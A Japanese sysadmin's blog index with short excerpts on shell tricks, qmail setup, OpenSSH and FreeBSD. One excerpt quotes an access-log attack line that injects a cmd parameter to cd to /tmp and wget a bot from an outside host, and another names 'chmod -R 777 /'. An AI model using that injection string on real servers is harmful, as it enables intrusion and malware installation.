ls コマンドで出力されたファイル日時の書式を変換する

BSD 系の ls コマンドには --time-style オプションが無いので、これをUNIXタイムなどに変換するにはどうすりゃええんやろ、と調べてみたのさ。 touch dummy.file set MOD_TIME="`ls -lT dummy.file | awk '{print $6,$7,$8,$9}'`" date -j -f "%b %d %H:%M:…

シェルスクリプトでURLエンコード

echo ${STRINGS} | nkf -MQ | sed -ez 's/=\n//g' | tr = %これでいいのだろうか。 nkf が MIME encode するときにブツブツ改行分割してくるから、そこを sed で除去する必要がありそうだった。 POSTデータを生成するなら、さらに半角スペース(%20)を "+" に…

社内の監視サーバがどんな監視ポリシで動作してるかわかんなくてあれこれ情報をあさった結果、hobbitlaunch.cfg がそれぽいとわかったのでここにメモっておく。

DSN: Return receipt

メーラーデーモンから心当たりの無いメールがでるとのユーザからの問い合わせ。 メールの内容を読むと、Return receipt, Successfully delivered だそうな。 開封確認の類かなと見当を付けたけど、それがどういう仕組みで実現されていないことに思い当たった…

コマンドラインで、UNIXタイムを日付に変換する。

どーやるんだっけかなぁとか考えてググってみたり、それぽいコマンドの man 引いたりしながらよくよく考えてみた末に、深く考える必要は無かった事に気がついた。 # date -d '00:00:00 1970-01-01 UTC + seconds' なんだよ、ちょう簡単じゃねぇかよ。 追記20…

中間証明書が正しく設定されているかを調べる。

ベリサインの仕様変更(鍵長の1,024→2,048bit化)過渡期において、中間証明書がちゃんと導入されたかどうかがよくわからないサーバがあり、あれこれと調べてみた。 "openssl 中間証明書 確認" とかそんなキーワードで検索してみると、さくっとヒットした。 ope…

ひっさしぶりの更新。会社の組織改変で、技術部門から少し外れてしまって、あれこれ調べたりメモ書きを残すような機会が減ってしまいました。

OpenSSH の sshd_config に、AllowUsers 行を256行以上書くと、sshd がエラーを出して起動してくれない(man sshd_config には書いてなかった)。 Starting sshd: /etc/ssh/sshd_config line 377: too many allow users みたいなエラーメッセージが出る。へぇ…

FreeBSD のブートシーケンスについては、man 8 rc あたりを読めばわかりそう。 Linux のブートシーケンスはだいたい知っているんだけど、触り慣れない FreeBSD はすぐに忘れちゃうんだよなぁ。

FreeBSD で、 Linux の lspci に相当するのは pciconf -lv

↑のネタを、Linux上では?

rs コマンドに当たるコマンドって、Linuxにあるのかしら? jot の代わりには seq があるけど……。

豆知識

一列のリストを、二列とか三列のリストに変換したいという状況があった。例えば、 1 2 3 4 5 6 7 8 9 というようなリストを、 1 2 3 4 5 6 7 8 9 とか、 1 2 3 4 5 6 7 8 9 などのように変換したいのだけども、それを実現できるコマンドって何かあったっけ?…

openpty: No such file or directory とか怒られた。

ssh 接続しようとしたら ssh クライアント側が応答無くなって、サーバにはこんなエラーが出て、あれこれ悩んだ。 Jul 16 16:51:32 www sshd[8014]: Accepted password for miniadm from ::ffff:***.***.***.*** port 58449 ssh2 Jul 16 16:51:32 www sshd[80…

同梱の sendmail ラッパー

qmail には、sendmail の互換プログラムが同梱されている。システムから sendmail パッケージをアンインストールする場合や、sendmail から差し替えたい場合には、この作業が必要になる。 rm /etc/alternatives/mta ln -s /var/qmail/bin/sendmail /etc/alte…

参考ページ

http://www.qmail.org/公式 http://ya.maya.st/mail/lwq.htmlLife with qmail の和訳。ありがたいありがたい。 http://www.qmail.org/netqmail/netqmail http://www.emaillab.org/djb/tcpserver/options.htmltcpserverのオプション http://www.big.or.jp/~mi…

qmailadmin のインストール

前提条件として、qmail と vpopmail の導入は完了しているものとします。その他に require なものとしては、autorespond 2.0 (or greater), ezmlm or ezmlm-idx となっております。 autorespond のインストール 自動応答なんかに使われるソフトのようです。 …

qmail のインストール

まずは本体プログラムのインストールから。 qmail と netqmail netqmail-1.06 は qmail-1.03 に公式の Recommended pathcesといくつかのドキュメントを追加したものらしいので、利用させてありがたく利用させていただく。 これまでは netqmail は、 qmail の…

qmail 環境をふたたびインストールする機会があった。 前にも一度エントリを書いたけどそれっきり完成させてなかったので、私的メモとしてこの機会に完成させておく。 今回のお題は、CentOS4 に qmail + vpopmail + qmailadmin という環境で、 POP before SM…

OpenSSH でのポートフォワード

できるという事は知っていたけど、実際に試したことの無い SSH でのポートフォワードを試してみた。 ポートフォワードの際の中心的なオプション形式は、-L port:host:hostport または -R port:host:hostport っぽい。 前者が、ローカルマシンのポート port …

へぇ、 figlet なんてコマンドあるのか。おもしろいなぁ。 [root@ninetail /root]# figlet test string _ _ _ _ | |_ ___ ___| |_ ___| |_ _ __(_)_ __ __ _ | __/ _ \/ __| __| / __| __| '__| | '_ \ / _` | | || __/\__ \ |_ \__ \ |_| | | | | | | (_| |…

RHEL4 の GID, UID

id:okinaka:20080109:1199882182 を拝見して、そういや私が普段使ってる CentOS はどうなんだっけ、と思って調べてみた。 前述ダイアリの記載のように、ポリシをまとめたドキュメントがサーバ上にあるのかと思って探してみたけど、パッと見た感じでは見当た…

なんとなく emacs を触ってみたのですが、不慣れな私からするとエディタというよりも拷問装置のような印象を受けました。世のハッカーはこれを使いこなしているというのか……。 思い返してみれば、10年前に初めて vi に触った時にも(曖昧な記憶ながら)今回と…

FreeBSD なサーバで、php5-mysql をインストールしようとしたら怒られた。 Cannot find autoconf. Please check your autoconf installation and the $PHP_AUTOCONF environment variable is set correctly and then rerun this script. エラーメッセージで…

vim7をインストールした。

vim

レガシ環境の実験サーバとして、 Red Hat Linux 7.3 なサーバを一台持っているけど、他の個人サーバと微妙に勝手違うなぁとか思いつつも気にしなかったけど、仕事が暇になると途端にその辺が気になった。そんなわけで、手始めとして vim 6.1 しかインストー…

softupdatesの注意点

そういや、 softupdates を適用するときに考えるべき事ってなんだっけとか、そんな事をふと思ったので調べてみた。 man tuning には、次のようにある。 大部分のファイルシステムで softupdates を有効にすることを推奨します。しかしながら、ファイルシステ…

RHEL 系での DirectoryIndex

すごく些細なことだけど、 RHEL 系の Linux で公式 RPM の Apache2 をインストールした場合、 httpd.conf では conf.d/*conf を Include した後に DirectoryIndex の記述がされている。つまりは、 conf.d 以下で DirectoryIndex が記述されてた場合、httpd.c…

うむむ、ドメイン回りについてはまだ RFC の内容や、実装や、関連コマンドの使い方や、トラブルシュートなどの知識やスキルがまだまだ乏しいなぁと痛感させられる出来事があった。 くやしいのうwwwくやしいのうwwwwww というワケで、自分に m9 RFC …

「 cron に心当たりの無いタスクが><」という問い合わせをユーザから受けたので調べてみた。ピンと来てウェブサーバのアクセスログ調べたら、3秒で原因判明。 /***/***/index.php?_REQUEST=http://******.co.kr/tool25.txt?&cmd=cd%20/tmp;rm%20bot.txt;wg…

毒は吐きたくないんだけれども。 root 欲しくて専用サーバ借りたんなら、サーバ屋に泣きつかないで下さい。 「なんか変なんで調べてください」「動き変だったからアンインストールしました」帰れ!

RPMパッケージでインストールしたファイルの権限修正

chmod -R 777 /とか仮にやってしまったとして、Red Hat 系 Linux ではそれを修正できんのかなぁとか思って調べてみた。 RPM は、インストールしたパッケージの情報やファイルリストや mtime なんかをパッケージデータベースとして持ってるので、クエリオプシ…